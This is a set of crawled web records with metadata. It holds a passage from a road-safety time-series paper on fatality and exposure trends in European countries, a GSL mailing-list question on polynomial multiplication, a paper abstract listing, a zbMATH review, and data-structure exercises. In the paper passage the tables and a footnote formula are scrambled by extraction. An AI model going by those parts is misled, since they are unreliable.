univariate Local Linear Trend model (LLT) applied to the fatalities yields very similar results. When the correlation between the slope disturbances is equal to 1 and the level components are deterministic, both time series share the same stochastic slope and are called trend stationary with a deterministic linear trend for the risk. In that case, we obtain a LRT model by constraining the b coefﬁcient for exposure to 1 (and modifying the risk component accordingly). Otherwise, there is a weak correlation between the two time series, and a LRT model provides a solution through the estimation of a covariance between the slope disturbances of risk and exposure. A systematic overview of all the possibilities is given in Table 1. 4. Model selection Irrespective of whether the LRT model (3) and (4) or the SUTSE model (5) is applied, various types of models can be obtained depending on whether the unobserved components – the level and the slope components – are treated stochastically or deterministically, i.e., as random or as ﬁxed. In order to select the best model for the country data at hand, the analysis was started with a full model where all the components were treated stochastically. Then, for each disturbance variance the log-likelihood of the full model was compared with the log-likelihood of the model where the disturbance variance had been ﬁxed on zero, and a likelihood ratio test was used to decide whether to treat the component stochastically or deterministically. When a stochastically treated component was thus found to yield a better model, it was next also explicitly tested whether its covariance term with the other corresponding component in the model (which would be either a level or a slope) should be ﬁxed on zero or not. The software for all the analyses presented in this paper was written in R version 2, with the dlm package of Petris et al. (2009) as its central routine for ﬁltering and smoothing. 5. Interventions Interventions are implemented using variables that model the effect of a known particular event on the level or on the slope of the time series (e.g., the introduction of a law, the beginning of a crisis, a change in counting methods, etc.). Interventions that are assumed to have an immediate and permanent effect are coded 0 for all time points prior to the event and 1 for the time point of the event and those following. These variables allow testing whether a signiﬁcant change indeed took place at the assumed time of the intervention. Several types of interventions can be deﬁned depending on the particular model equation they are inserted into. The intervention is included into the measurement equation when it is suspected that some change in the series reﬂects a change in the way it has been\n\nBivariate LRT with stochastic risk trend\n\nmeasured and not a change in the phenomenon itself. An example is the change in deﬁnition where fatalities were ﬁrst deﬁned as “victims who died within 24 h after the accident” and later deﬁned as “victims who died within 30 days after the accident”. An intervention is included into the level equation if it is thought to have caused a permanent reduction (or increase) in either the fatality risk (e.g., the seat-belt law) or in the exposure (e.g., the introduction of taxes, an economic crisis). A level intervention considered here takes the form of a step: the fatality risk, for example, increases or decreases at the moment of the intervention and it remains at that level afterwards. An intervention is included into the slope equation when something is suspected to have caused a change in direction – or steepness – of the development of either fatality risk or exposure. This could, for example, be an increased commitment to road safety improvement in a country, due to which the fatality risk decreases at a faster rate than before. The selection of “candidates for interventions” should be based on actual knowledge about past developments (for example, the moments at which laws have been introduced or the method for the estimation of trafﬁc volume has been adapted), as well as on the results of the analyses of the data (large, visible changes in the series). 6. Forecasts Once an appropriate model is identiﬁed, forecasts are obtained by projecting the trends that are observed in the past into the future. This does not necessarily mean that the forecasts will correctly predict what is going to happen. But when assessing the quality of the model, we can check the accuracy of the forecasts by forecasting a certain number of years (5–10) and then compare these forecasts with the observations. The implementation of interventions in the model at time points where the series displays extreme values or changes reduces the error variance and consequently the conﬁdence interval around the forecasts. When one knows that a change occurred because of a particular event, one can also be conﬁdent that the change in the value of the relevant component is no part of the random variations in the series, and that such changes are thus unlikely to happen again in the future. However, when the reasons for the changes in the past are not really understood, one may expect that similar changes can happen in the future as well. In the latter case, correcting the models for past unexplained disturbances by introducing exclusively data driven interventions artiﬁcially reduces the conﬁdence intervals for the forecasts; the implementation of such exclusively data driven interventions in the models should therefore be avoided. To summarise, time series models give us an estimate of the future development, under the assumption that the model is adequate and that the past development is continued. Moreover, they quantify the uncertainty of the forecasts: the weaker the predictive performance in the past, the larger the uncertainty in the forecasts will be as reﬂected in the corresponding conﬁdence intervals.\n\nE. Dupont et al. / Accident Analysis and Prevention 71 (2014) 327–336\n\n331\n\nTable 2 Type of exposure indicator selected and length of the data series for the different countries, along with the types of correlations identiﬁed between the development of the exposure and fatality series. Unless otherwise speciﬁed, the exposure and fatality series are of identical length. Exposure indicator Vehicle kilometres 20 countries\n\nVehicle ﬂeet seven countries\n\nFuel consumption one country\n\nNone available\n\nAustria (1990–2010) Belgium (1970–2010) Czech Republic (1990–2010, exp.: 1995–2010)) Denmark (1980–2010) Finland (1975–2010) France (1957–2010) Germany (1991–2010) Hungary (1993–2010) Iceland (1975–2010, exp.: 1980–2010) Ireland (1970–2010) Italy (1980–2010) Norway (1973–2009) Poland (1975–2010,exp.: 1996–2008) Romania (1990–2010) Slovenia (1970–2010) Spain (1961–2009) Sweden (1970–2009) Switzerland (1975–2010) The Netherlands (1950–2010) UK (1983–2010) 5 “common slopes” 4 correlated series\n\nBulgaria (2001–2010) Estonia (1991–2010, exp.: 1997–2008) Greece (1960–2010) Latvia (1975–2010, exp.: 1996–2009) Luxembourg (1975–2010) Portugal (1979–2008) Slovakia (1990–2010, exp.: 1991–2002)\n\nCyprus (1991–2010)\n\nLithuania (2001–2010) Malta (1990–2010)\n\n2 “common slopes”\n\nNo correlation\n\n7. Data Road safety fatalities – although by no means the only interesting measure – are the key measurement to analyse and compare the development of road safety across countries, because they are less susceptible to underreporting than other measures. The yearly number of road trafﬁc fatalities in the different European countries is available in the CARE database. CARE includes harmonised fatality data, which conform to the European deﬁnition of fatalities within 30 days from the accident. The EU-15 Member States have fatality data that span the entire period 1991–2008. For countries that became a member of the European Union later on, however, data availability is limited to a smaller number of years (e.g., from 2005 onwards for Estonia and Slovakia, from 2003 onwards for Hungary, from 2000 onwards for Slovenia etc.). Various exposure indicators were investigated, including the number of vehicle kilometres travelled, the vehicle ﬂeet, the fuel consumption and the road length. The analyses could not be carried out on the basis of vehicle kilometres data for all European countries and in these cases alternative exposure indicators have been used. In 20 countries, the most preferable exposure indicator was available, which is vehicle kilometres. In seven countries the size of the vehicle ﬂeet was the only available exposure indicator. Fuel consumption has been used as exposure indicator in the case of Cyprus. Finally, for two countries (Lithuania and Malta) no exposure indicator was available at all.\n\nmodel (5).2 For each country, the length of the series of observations available and included in the analysis is also mentioned. It is clear from this table that a correlation was identiﬁed more often when vehicle kilometres could be used as exposure indicator than for other types of exposure indicators. In all instances where a non-zero correlation was established between the two series, this correlation applied to the slope components (not to the level components) and was positive. Given that the values of the slope component for the exposure tend to be positive (indicating that exposure is always increasing) while those for the risk are most often negative (indicating that the risk decreases over time), positively correlated slope components imply that the decrease in the annual fatality numbers slows down when the increase in the annual number of vehicle kilometres becomes stronger. Common slopes (i.e., a correlation close to 1) were observed in ﬁve of the nine countries where a relationship could be identiﬁed on the basis of vehicle kilometres (i.e., Denmark, Finland, France, the Netherlands, and the UK). Figs. 1–4 contain the results of the SUTSE model for the Netherlands. The common slopes identiﬁed for this country are illustrated in Figs. 2 and 4. Common slopes were also observed for Portugal and Estonia, where vehicle ﬂeet was used as the exposure indicator. The identiﬁcation of a satisfactory relation between the exposure indicator and fatality series was one condition that determined whether the LRT model or the LLT model was used to capture the past developments in the annual fatality numbers of a country, and to project these developments into the future. In all eleven countries where a relationship between the exposure indicator and the fatality series could be demonstrated with the SUTSE model (5),\n\n8. Results A relationship between the exposure and fatality series could not be identiﬁed in all countries. Table 2 summarises the different types of exposure indicators that have been used for each country, and also indicates the countries for which correlated series or even common slopes could be established on the basis of the SUTSE\n\n2 The correlations range in the interval [0.1, 0.9]. This interval is explained by the fact that the correlations between the slope and level disturbances of the two series have been tested in two steps: (1) a test of whether H0 : \u0006(\u0003e ,\u0003f ) = 0, \u0006(\u0004 e ,\u0004 f ) = \b \b 1. This testing 0 and H0 : \u0006(εe ,εf ) = 0 can be rejected and (2) a test of whether \u0006 ∼ = strategy consequently only informs whether correlation coefﬁcient(s) are significantly different from 0 and from 1, without providing information of its (their) exact estimated value.\n\n332\n\nE. Dupont et al. / Accident Analysis and Prevention 71 (2014) 327–336\n\nFig. 1–4. Developments of the state components for the exposure (upper graphs) and the fatalities (lower graphs), as estimated on the basis of the SUTSE model for The Netherlands. The trend (level) developments are shown in the left-hand graphs, the slope developments in the right-hand graphs (both in the anti-logs, the scale 1.05 for the slope means an increase of the series with 100*ln(1.05) = 5% per year), including their 95% conﬁdence intervals. Note the similarity between the slope components which have a correlation of 1 (and are therefore common).\n\nthe development of the annual fatality numbers was modelled and deﬁned as the result of the combined developments of the risk and of the exposure according to the LRT model (3). When no signiﬁcant relationship between the exposure indicator and fatality series could be detected, on the other hand, the forecasting accuracy for the fatalities obtained with the bivariate LRT model was compared with the forecasting accuracy of the univariate LLT model applied to the fatalities series only, thereby disregarding the development of the exposure indicator. For 5 of the 19 countries for which no signiﬁcant relation between the exposure indicator and the fatality series was established, the LRT model still resulted in better forecasts than the LLT model and\n\nthese ﬁve countries were therefore analysed with the LRT model. The remaining fourteen countries with no signiﬁcant correlation between exposure indicator and fatalities were all analysed with the LLT model. In addition, as already mentioned in the section on Model selection, various types of LRT and LLT models can be obtained depending on whether the unobserved components – the level and the slope components – are treated stochastically or deterministically, i.e., as random or as ﬁxed. Table 3 provides an overview of the temporal structure of the optimal models that were identiﬁed for the 16 European countries to which the LRT model was applied. Whenever common – or highly correlated – slopes were observed\n\nE. Dupont et al. / Accident Analysis and Prevention 71 (2014) 327–336\n\n333\n\nTable 3 Overview of the optimal LRT model types for the different countries. Most frequently selected models\n\nOther models\n\nExposure trend Level ﬁxed, slope random\n\nLevel ﬁxed, slope random\n\nLevel ﬁxed, slope random\n\nRisk trend Level random, slope ﬁxed\n\nLevel ﬁxed, slope ﬁxed\n\nLevel ﬁxed, slope random\n\nAustria (no component ﬁxed)\n\nCyprus\n\nUK Italy\n\nFinland (only slope risk ﬁxed) Slovenia (only level exposure ﬁxed)\n\nDenmark France The Netherlands Spain Switzerland Norway Portugal Estonia Belgium Germany ⇒10/16 countries\n\nfor the fatality and exposure indicator series, the slope component of the risk was treated deterministically (i.e., as ﬁxed). As the table indicates the most common type of LRT model is one where the slope component for exposure is random and its level is ﬁxed, and where the level component of the risk is random and its slope is ﬁxed. A typical example is given in Fig. 5-8, which contains the results of the LRT model obtained for the Netherlands. For the exposure, the slope changes reﬂect the fact that the rate of change is decreasing over the years, i.e., the exposure continuously increases, but not as fast as it did in the past. In contrast, the risk is characterised by ups and downs (due to random variations in the level component), but–as is illustrated in the bottom graph on the right of Fig. 8 – the general direction of the year-to-year changes in the number of fatalities per unit of exposure is constant. For the\n\nTable 4 Overview of the optimal univariate LLT model types identiﬁed for the different countries. Fatality trend Level random, slope ﬁxed\n\nLevel and slope ﬁxed\n\nLevel ﬁxed\n\nBulgaria Greece Luxembourg Lithuania Ireland Poland Sweden Latvia Slovakia ⇒9/14 countries\n\nHungary Iceland Malta\n\nCzech Republic Romania\n\nTable 5 Overview of the intervention variables identiﬁed for the different countries, including their type and cause. Country\n\nYear\n\nType of intervention\n\nReason\n\nGreece\n\n1986 1991 1996 2002 2008 1991 1999 2009\n\nFatalities level Fatalities level Fatalities slope Fatalities level Fatalities level Exposure level Exposure level Risk level\n\n1989 1974 1974 2004 1989 1990 2008 1983 2003 1975 1982 1984 1989 1993 1994 2004 2007\n\nFatalities level Exposure level Risk level Risk level Fatalities level Exposure level Fatalities slope Risk level Exposure level Fatalities level Risk slope Exposure slope Risk slope Level risk Risk slope Risk slope Exposure slope\n\n2008\n\nRisk level\n\n1993 1991–1993 1991–1993 2008–2012 2008–2012\n\nExposure level Exposure slope Risk slope Exposure slope Risk slope\n\nEconomic recession Change in the vehicle ﬂeet (car exchange scheme) 30-days deﬁnition introduced for fatalities Increase of motorway length by 19% Economic recession, large set of road safety measures introduced Fatalities registration form adapted 30-days deﬁnition introduced Change in the vehicle ﬂeet (trailers and semitrailers\n\n## Latent risk and trend models for the evolution of annual fatality numbers in 30 European countries.\n\nIn this paper a unified methodology is presented for the modelling of the evolution of road safety in 30 European countries. For each country, annual ..." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9242395,"math_prob":0.92935306,"size":35928,"snap":"2022-27-2022-33","text_gpt3_token_len":8162,"char_repetition_ratio":0.17113908,"word_repetition_ratio":0.0622084,"special_character_ratio":0.22088622,"punctuation_ratio":0.08800623,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9681384,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-06-29T22:42:04Z\",\"WARC-Record-ID\":\"<urn:uuid:99d5a19d-460d-4012-9e40-e13328714529>\",\"Content-Length\":\"81261\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9f01b3c2-9203-4e5d-87f2-a2efb3bb3d9e>\",\"WARC-Concurrent-To\":\"<urn:uuid:c61ba5ab-12f0-4db3-aab8-172926ebd77d>\",\"WARC-IP-Address\":\"104.21.43.74\",\"WARC-Target-URI\":\"https://docksci.com/latent-risk-and-trend-models-for-the-evolution-of-annual-fatality-numbers-in-30-_5acd969cd64ab2d5697b6725.html\",\"WARC-Payload-Digest\":\"sha1:7Z7YOM6QGXBWU4G6EGGN33UZBW6WSWQG\",\"WARC-Block-Digest\":\"sha1:MUGRYB5E7XZANVDC6NSVK72NCFXWUELH\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103645173.39_warc_CC-MAIN-20220629211420-20220630001420-00542.warc.gz\"}"}
https://lists.defectivebydesign.org/archive/html/help-gsl/2021-08/msg00003.html	[ "help-gsl\n[Top][All Lists]\n\n## Question of polynomial multiplication.\n\n From: 김현성 Subject: Question of polynomial multiplication. Date: Tue, 17 Aug 2021 16:03:02 +0000\n\n```Dear GSL developers\n\nHello,\n\nWhile I am reading polynomial section of GSL manual, I realized that GSL does\nnot provide the function calculates two polynomial multiplication.\nI wonder it is not constructed yet or it had been considered but does not fit\nwith GSL design.\n\nI found 3 basic algorithms for polynomial multiplication.\n\nl Direct coefficient vector convolution.\n\nl Dived and Conquer approach algorithm.\n\nl FFT for fast convolution calculation. <- In my opinion, this algorithm will\nnot be able in GSL because of interdependence\nI think above two will be useful, if they are provided in GSL. How about you?\n\nThanks\n\nHyean Sung\n```" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8509643,"math_prob":0.7295209,"size":948,"snap":"2022-27-2022-33","text_gpt3_token_len":219,"char_repetition_ratio":0.15254237,"word_repetition_ratio":0.01369863,"special_character_ratio":0.23101266,"punctuation_ratio":0.12941177,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96346056,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-02T13:53:24Z\",\"WARC-Record-ID\":\"<urn:uuid:199a5918-8e68-4767-bffe-ff1caa823e82>\",\"Content-Length\":\"4725\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:222943cd-8d80-473a-aae9-d62dfcc7dc4b>\",\"WARC-Concurrent-To\":\"<urn:uuid:8fbf3a7e-8314-4bca-ba60-6eded8d4d7d5>\",\"WARC-IP-Address\":\"209.51.188.17\",\"WARC-Target-URI\":\"https://lists.defectivebydesign.org/archive/html/help-gsl/2021-08/msg00003.html\",\"WARC-Payload-Digest\":\"sha1:CFGQI5RSL2EWCBLD6RGPRXATZQRQE2SN\",\"WARC-Block-Digest\":\"sha1:IB3OUYKDKBGUTHXIU5ORZBNA5EFWS53B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104141372.60_warc_CC-MAIN-20220702131941-20220702161941-00134.warc.gz\"}"}
https://deepai.org/publication/a-5-2-approximation-algorithm-for-coloring-rooted-subtrees-of-a-degree-3-tree	[ "DeepAI\n\n# A 5/2-Approximation Algorithm for Coloring Rooted Subtrees of a Degree 3 Tree\n\nA rooted tree R⃗ is a rooted subtree of a tree T if the tree obtained by replacing the directed edges of R⃗ by undirected edges is a subtree of T. We study the problem of assigning minimum number of colors to a given set of rooted subtrees R of a given tree T such that if any two rooted subtrees share a directed edge, then they are assigned different colors. The problem is NP hard even in the case when the degree of T is restricted to 3. We present a 5/2-approximation algorithm for this problem. The motivation for studying this problem stems from the problem of assigning wavelengths to multicast traffic requests in all-optical WDM tree networks.\n\n07/09/2019\n\n### PTAS and Exact Algorithms for r-Gathering Problems on Tree\n\nr-gathering problem is a variant of facility location problems. In this ...\n04/09/2021\n\n### On the minimum spanning tree problem in imprecise set-up\n\nIn this article, we study the Euclidean minimum spanning tree problem in...\n03/14/2023\n\n### Coloring and Recognizing Directed Interval Graphs\n\nA mixed interval graph is an interval graph that has, for every pair of ...\n02/11/2019\n\n### Geometric Multicut\n\nWe study the following separation problem: Given a collection of colored...\n02/01/2023\n\n### Parameterized Algorithms for Colored Clustering\n\nIn the Colored Clustering problem, one is asked to cluster edge-colored ...\n06/18/2019\n\n### Rooting for phylogenetic networks\n\nThis paper studies the relationship between undirected (unrooted) and di...\n11/23/2018" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.95061517,"math_prob":0.84176856,"size":745,"snap":"2023-14-2023-23","text_gpt3_token_len":168,"char_repetition_ratio":0.13900135,"word_repetition_ratio":0.0,"special_character_ratio":0.2,"punctuation_ratio":0.04137931,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9644553,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-05-28T12:17:07Z\",\"WARC-Record-ID\":\"<urn:uuid:86e2d125-7dea-4ddc-b79a-6ca470ee8439>\",\"Content-Length\":\"122088\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fe7a4ffa-6568-4b02-96b4-2bed59c545eb>\",\"WARC-Concurrent-To\":\"<urn:uuid:84861347-0df2-4e2f-8521-13d6ada2a185>\",\"WARC-IP-Address\":\"52.85.151.97\",\"WARC-Target-URI\":\"https://deepai.org/publication/a-5-2-approximation-algorithm-for-coloring-rooted-subtrees-of-a-degree-3-tree\",\"WARC-Payload-Digest\":\"sha1:ERMMXHZEGXDBS7X46Z5ATH3F2WXPUV4F\",\"WARC-Block-Digest\":\"sha1:2OPP5HV35BKYN4IC62O4LHUKA4JPUI2W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224643784.62_warc_CC-MAIN-20230528114832-20230528144832-00034.warc.gz\"}"}
https://zbmath.org/?q=an:0819.35051	[ "# zbMATH — the first resource for mathematics\n\nOn a class of nonlinear elliptic equations. (English) Zbl 0819.35051\nBojarski, Bogdan (ed.) et al., Partial differential equations. Part 1. The 36th semester held at the Stefan Banach International Mathematical Center in Warsaw, Poland, from September 17 to December 17, 1990. Warsaw: Polish Academy of Sciences, Inst. of Mathematics. Banach Cent. Publ. 27, Part 1, 75-80 (1992).\nLet $$\\Omega$$ be a bounded domain of $$\\mathbb{R}^ n$$ with boundary $$\\Gamma$$, $$n\\geq 1$$. The goal of this note is to summarize results regarding existence and number of solutions of the equation $\\Delta\\varphi- \|\\nabla \\varphi\|^ q+ \\lambda \\varphi^ p=0 \\quad \\text{in }\\Omega, \\qquad \\varphi>0 \\quad \\text{in }\\Omega, \\qquad \\varphi=0 \\quad \\text{on }\\Gamma, \\tag{1}$ $$\\lambda>0$$, $$p,q>1$$.\nFor the entire collection see [Zbl 0771.00021].\n\n##### MSC:\n 35J65 Nonlinear boundary value problems for linear elliptic equations\n##### Keywords:\nmultiplicity of solutions" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.71870494,"math_prob":0.99797356,"size":1065,"snap":"2021-04-2021-17","text_gpt3_token_len":342,"char_repetition_ratio":0.10179076,"word_repetition_ratio":0.0,"special_character_ratio":0.3342723,"punctuation_ratio":0.19626169,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99946505,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-15T04:24:49Z\",\"WARC-Record-ID\":\"<urn:uuid:1a395c69-8d60-4afe-9af2-d6613f8486b7>\",\"Content-Length\":\"44468\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b0e7004f-ae50-485e-9c68-89ac22a825ba>\",\"WARC-Concurrent-To\":\"<urn:uuid:baaaa471-0d48-44e5-8870-1c287ed943ce>\",\"WARC-IP-Address\":\"141.66.194.2\",\"WARC-Target-URI\":\"https://zbmath.org/?q=an:0819.35051\",\"WARC-Payload-Digest\":\"sha1:333EC5CJ3WP3KLZRTAQSF7CILSD3NMCI\",\"WARC-Block-Digest\":\"sha1:W5F6DX7SIYI7OYVUZYK5S5BL6GIRTUL3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038083007.51_warc_CC-MAIN-20210415035637-20210415065637-00071.warc.gz\"}"}
http://algorist.com/algowiki/index.php?title=Data-structures-TADM2E&oldid=83	[ "(diff) ← Older revision \| Latest revision (diff) \| Newer revision → (diff)\n\n# Data Structures\n\nStacks, Queues, and Lists\n\n<br>3-1. A common problem for compilers and text editors is determining whether the parentheses in a string are balanced and properly nested. For example, the string $((())())()$ contains properly nested pairs of parentheses, which the strings $)()($ and $())$ do not. Give an algorithm that returns true if a string contains properly nested and balanced parentheses, and false if otherwise. For full credit, identify the position of the first offending parenthesis if the string is not properly nested and balanced.\n\n<br>3-2. Write a program to reverse the direction of a given singly-linked list. In other words, after the reversal all pointers should now point backwards. Your algorithm should take linear time.\n\n<br>3-3. We have seen how dynamic arrays enable arrays to grow while still achieving constant-time amortized performance. This problem concerns extending dynamic arrays to let them both grow and shrink on demand.\n\n1. Consider an underflow strategy that cuts the array size in half whenever the array falls below half full. Give an example sequence of insertions and deletions where this strategy gives a bad amortized cost.\n2. Then, give a better underflow strategy than that suggested above, one that achieves constant amortized cost per deletion.\n\nTrees and Other Dictionary Structures\n\n<br>3-4. Design a dictionary data structure in which search, insertion, and deletion can all be processed in $O(1)$ time in the worst case. You may assume the set elements are integers drawn from a finite set ${1,2,..,n}$, and initialization can take $O(n)$ time.\n\n<br>3-5. Find the overhead fraction (the ratio of data space over total space) for each of the following binary tree implementations on $n$ nodes:\n\n1. All nodes store data, two child pointers, and a parent pointer. The data field requires four bytes and each pointer requires four bytes.\n2. Only leaf nodes store data; internal nodes store two child pointers. The data field requires four bytes and each pointer requires two bytes.\n\n<br>3-6. Describe how to modify any balanced tree data structure such that search, insert, delete, minimum, and maximum still take $O(\\log n)$ time each, but successor and predecessor now take $O(1)$ time each. Which operations have to be modified to support this?\n\n<br>3-7. Suppose you have access to a balanced dictionary data structure, which supports each of the operations search, insert, delete, minimum, maximum, successor, and predecessor in $O(\\log n)$ time. Explain how to modify the insert and delete operations so they still take $O( \\log n)$ but now minimum and maximum take $O(1)$ time. (Hint: think in terms of using the abstract dictionary operations, instead of mucking about with pointers and the like.)\n\n<br>3-8. Design a data structure to support the following operations:\n\n1. insert(x,T) -- Insert item $x$ into the set $T$.\n2. delete(k,T) -- Delete the $k$th smallest element from $T$.\n3. member(x,T) -- Return true iff $x \\in T$.\n\nAll operations must take $O(\\log n)$ time on an $n$-element set.\n\n<br>3-9. A concatenate operation takes two sets $S_1$ and $S_2$, where every key in $S_1$ is smaller than any key in $S_2$, and merges them together. Give an algorithm to concatenate two binary search trees into one binary search tree. The worst-case running time should be $O(h)$, where $h$ is the maximal height of the two trees.\n\nApplications of Tree Structures\n\n<br>3-10. In the bin-packing problem, we are given $n$ metal objects, each weighing between zero and one kilogram. Our goal is to find the smallest number of bins that will hold the $n$ objects, with each bin holding one kilogram at most.\n\n1. The best-fit heuristic for bin packing is as follows. Consider the objects in the order in which they are given. For each object, place it into the partially filled bin with the smallest amount of extra room after the object is inserted.. If no such bin exists, start a new bin. Design an algorithm that implements the best-fit heuristic (taking as input the $n$ weights $w_1,w_2,...,w_n$ and outputting the number of bins used) in $O(n \\log n)$ time.\n2. Repeat the above using the worst-fit heuristic, where we put the next object in the partially filled bin with the largest amount of extra room after the object is inserted.\n\n<br>3-11. Suppose that we are given a sequence of $n$ values $x_1,x_2,...,x_n$ and seek to quickly answer repeated queries of the form: given $i$ and $j$, find the smallest value in $x_i,\\ldots,x_j$.\n\n1. Design a data structure that uses $O(n^2)$ space and answers queries in $O(1)$ time.\n2. Design a data structure that uses $O(n)$ space and answers queries in $O(\\log n)$ time. For partial credit, your data structure can use $O(n \\log n)$ space and have $O(\\log n)$ query time.\n\n<br>3-12. Suppose you are given an input set $S$ of $n$ numbers, and a black box that if given any sequence of real numbers and an integer $k$ instantly and correctly answers whether there is a subset of input sequence whose sum is exactly $k$. Show how to use the black box $O(n)$ times to find a subset of $S$ that adds up to $k$.\n\n<br>3-13. Let $A[1..n]$ be an array of real numbers. Design an algorithm to perform any sequence of the following operations:\n\n1. Add(i,y) -- Add the value $y$ to the $i$th number.\n2. Partial-sum(i) -- Return the sum of the first $i$ numbers, i.e.\n\n$\\sum_{j=1}^i A[j]$. There are no insertions or deletions; the only change is to the values of the numbers. Each operation should take $O(\\log n)$ steps. You may use one additional array of size $n$ as a work space.\n\n<br>3-14. Extend the data structure of the previous problem to support insertions and deletions. Each element now has both a key and a value. An element is accessed by its key. The addition operation is applied to the values, but the elements are accessed by its key. The Partial-sum operation is different.\n\n1. Add(k,y) -- Add the value $y$ to the item with key $k$.\n2. Insert(k,y) -- Insert a new item with key $k$ and value $y$.\n3. Delete(k) -- Delete the item with key $k$.\n4. Partial-sum(k) --\n\nReturn the sum of all the elements currently in the set whose key is less than $y$, i.e. $\\sum_{x_j<y} x_i$. The worst case running time should still be $O(n \\log n)$ for any sequence of $O(n)$ operations.\n\n<br>3-15. Design a data structure that allows one to search, insert, and delete an integer $X$ in $O(1)$ time (i.e., constant time, independent of the total number of integers stored). Assume that $1 \\leq X \\leq n$ and that there are $m+n$ units of space available, where $m$ is the maximum number of integers that can be in the table at any one time. (Hint: use two arrays $A[1..n]$ and $B[1..m]$.) You are not allowed to initialize either $A$ or $B$, as that would take $O(m)$ or $O(n)$ operations. This means the arrays are full of random garbage to begin with, so you must be very careful.\n\nImplementation Projects\n\n<br>3-16. Implement versions of several different dictionary data structures, such as linked lists, binary trees, balanced binary search trees, and hash tables. Conduct experiments to assess the relative performance of these data structures in a simple application that reads a large text file and reports exactly one instance of each word that appears within it. This application can be efficiently implemented by maintaining a dictionary of all distinct words that have appeared thus far in the text and inserting/reporting each word that is not found. Write a brief report with your conclusions.\n\n<br>3-17. A Caesar shift (see cryptography) is a very simple class of ciphers for secret messages. Unfortunately, they can be broken using statistical properties of English. Develop a program capable of decrypting Caesar shifts of sufficiently long texts.\n\nInterview Problems\n\n<br>3-18. What method would you use to look up a word in a dictionary?\n\n<br>3-19. Imagine you have a closet full of shirts. What can you do to organize your shirts for easy retrieval?\n\n<br>3-20. Write a function to find the middle node of a singly-linked list.\n\n<br>3-21. Write a function to compare whether two binary trees are identical. Identical trees have the same key value at each position and the same structure.\n\n<br>3-22. Write a program to convert a binary search tree into a linked list.\n\n<br>3-23. Implement an algorithm to reverse a linked list. Now do it without recursion.\n\n<br>3-24. What is the best data structure for maintaining URLs that have been visited by a Web crawler? Give an algorithm to test whether a given URL has already been visited, optimizing both space and time.\n\n<br>3-25. You are given a search string and a magazine. You seek to generate all the characters in search string by cutting them out from the magazine. Give an algorithm to efficiently determine whether the magazine contains all the letters in the search string.\n\n<br>3-26. Reverse the words in a sentence---i.e., My name is Chris becomes Chris is name My. Optimize for time and space.\n\n<br>3-27. Determine whether a linked list contains a loop as quickly as possible without using any extra storage. Also, identify the location of the loop.\n\n<br>3-28. You have an unordered array $X$ of $n$ integers. Find the array $M$ containing $n$ elements where $M_i$ is the product of all integers in $X$ except for $X_i$. You may not use division. You can use extra memory. (Hint: There are solutions faster than $O(n^2)$.)\n\n<br>3-29. Give an algorithm for finding an ordered word pair (e.g., New York) occurring with the greatest frequency in a given webpage. Which data structures would you use? Optimize both time and space." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.80756134,"math_prob":0.98962945,"size":10483,"snap":"2020-10-2020-16","text_gpt3_token_len":2529,"char_repetition_ratio":0.15841207,"word_repetition_ratio":0.026891807,"special_character_ratio":0.25250405,"punctuation_ratio":0.11142588,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9978115,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-21T16:00:53Z\",\"WARC-Record-ID\":\"<urn:uuid:62ac3d0a-8421-4231-9ac0-62fcc0a03b5e>\",\"Content-Length\":\"29216\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:74598c4e-dfbf-4edf-84f7-3c739dd8d2c1>\",\"WARC-Concurrent-To\":\"<urn:uuid:f47e8308-82d6-4ac2-9476-89200c2b7d26>\",\"WARC-IP-Address\":\"54.214.216.106\",\"WARC-Target-URI\":\"http://algorist.com/algowiki/index.php?title=Data-structures-TADM2E&oldid=83\",\"WARC-Payload-Digest\":\"sha1:QTXHZOY5JICKFWEGDQGNEXF6CLUMIPIR\",\"WARC-Block-Digest\":\"sha1:S3UYDUHSR2S4HLS64724FHGEFZD2VYK7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875145533.1_warc_CC-MAIN-20200221142006-20200221172006-00533.warc.gz\"}"}
